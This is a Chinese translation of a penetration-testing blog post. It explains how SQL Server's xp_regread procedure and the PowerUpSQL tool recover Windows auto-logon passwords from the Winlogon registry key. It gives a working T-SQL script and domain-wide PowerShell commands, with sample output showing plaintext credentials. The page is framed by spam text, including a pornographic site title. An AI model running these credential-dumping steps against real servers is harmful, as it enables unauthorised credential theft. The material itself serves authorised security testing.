91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

在SQL Server中通過PowerUpSQL獲得Windows自動登錄密碼

發布時間:2020-07-09 20:22:01 來源:網絡 閱讀:1005 作者:simeon2005 欄目:系統運維

 原文:

https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

 

在這篇博客中,我將展示如何使用PowerUpSQL通過SQL Serverd導出Windows自動登錄密碼。我也來談談xp_regread存儲過程中的其他利用方式也可在***測試中使用。

xp_regread簡史

SQL Server2000xp_regread擴展存儲過程一直被使用,因為其原始版本允許以公共服務器角色的成員訪問SQL Server服務帳戶權限的幾乎任何東西的。當時,它有一個非常大的影響,因為SQL ServerLocalSystem權限運行是常見的(譯者注:很容易被提權)。自從SQL Server 2000 SP4發布之后,由于添加了一些訪問控制,這有助于防止低權限的登錄訪問敏感的注冊表位置,xp_regread的影響已經相當小,現在,未經授權的用戶訪問唯一的注冊表位置都與SQLServer相關。對于您可以訪問這些位置的列表https://support.microsoft.com/en-us/kb/887165

下面是更有趣的訪問路徑中的幾個:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International

xp_regread公共角色的實際用途

即使是我們的雙手被捆綁,xp_regread也可以用來獲取不少有用的信息。事實上,作為最低權限登錄時,我經常用它來抓取其它地方無法獲取的服務器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些這些查詢:

PS C:\>Get-SQLServerInfo

ComputerName           : SQLServer1

Instance               : SQLServer1

DomainName             : demo.local

ServiceName            : MSSQLSERVER

ServiceAccount         : NT Service\MSSQLSERVER

AuthenticationMode     : Windows and SQL Server Authentication

Clustered              : No

SQLServerVersionNumber: 12.0.4213.0

SQLServerMajorVersion  : 2014

SQLServerEdition       : Developer Edition (64-bit)

SQLServerServicePack   : SP1

OSArchitecture         : X64

OsMachineType          : WinNT

OSVersionName          : Windows 8.1 Pro

OsVersionNumber        : 6.3

Currentlogin           : demo\user

IsSysadmin             : Yes

ActiveSessions         : 3

 

SQL ServerSP4中實現的訪問控制限制并不適用于系統管理員。其結果是,任何SQL Server服務賬戶可以在注冊表訪問,一個系統管理員可以通過xp_regread訪問。乍一看,這似乎不是什么大不了的事,但它確實讓我們從注冊表中的敏感數據,而不必使用xp_cmdshell存儲過程,啟用和使用xp_cmdshel會觸發大量的告警。所以xp_regread實際上最終被用于基本的SQL Server開發任務后。

使用xp_regread恢復Windows自動登錄憑據

配置Windows在計算機啟動時自動登錄這是可以實現的,雖然這不是在企業環境中的常見配置,這是我們在零售環境中經常看到的東西。特別是那些支持傳統的POS終端和信息亭使用SQL服務器本地運行。在大多數情況下,當Windows配置為自動登錄,加密的憑據存儲在注冊表項:

HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon

利用這些信息,我們可以編寫使用一個基本的TSQL腳本,通過xp_regread獲取注冊表的自動登錄憑據,而無需使xp_cmdshell啟用。下面就是一個TSQL腳本例子,但由于注冊表路徑不在允許列表上,我們必須作為一個系統管理員運行查詢:

-------------------------------------------------------------------------

-- Get Windows AutoLogin Credentials from the Registry

-------------------------------------------------------------------------

-- Get AutoLoginDefault Domain

DECLARE@AutoLoginDomain  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultDomainName',

@value                         = @AutoLoginDomainoutput

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginUser  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultUserName',

@value                         = @AutoLoginUser output

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginPassword  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultPassword',

@value                         = @AutoLoginPasswordoutput

-- Display Results

SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword

我已經創建了一個名為“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函數,所以你可以直接運行它。它將獲取默認的Windows自動登錄信息和曾經設置過的Windows自動登錄信息。然后,它返回相關的域名、用戶名和密碼。

 

下面是那些感興趣的一個命令示例。如果您對***隱蔽的SQL Server目標有興趣,你可以挖掘這個博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):

PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}

PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose

VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.

VERBOSE: SQLServer2.demo.local\Application: Connection Success.

VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.

VERBOSE: SQLServer3.demo.local\2014 :Connection Success.

VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : KioskAdmin

Password    : test

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : kioskuser

Password    : KioskUserPassword!

總結

即使xp_regread擴展存儲過程已部分閹割,仍有許多方式,它可以被證明是有用的***測試和紅隊交戰中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函數構建它的能力,更多注冊表的樂趣將陸續提供,在此期間,祝你好運,并負責任!

參考文章:

https://support.microsoft.com/en-us/kb/887165

https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

http://sqlmag.com/t-sql/using-t-sql-manipulate-registry


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

板桥市| 本溪市| 城步| 缙云县| 洛宁县| 肥城市| 襄樊市| 恩平市| 萍乡市| 嘉兴市| 鄂托克前旗| 马关县| 繁昌县| 绥滨县| 三原县| 井冈山市| 义乌市| 大埔区| 菏泽市| 永吉县| 南投市| 巴彦淖尔市| 吐鲁番市| 阳原县| 鄂州市| 安岳县| 乌苏市| 香河县| 临清市| 洪雅县| 宁强县| 江孜县| 莫力| 财经| 合肥市| 万年县| 昌平区| 会宁县| 宜城市| 辽宁省| 南投市|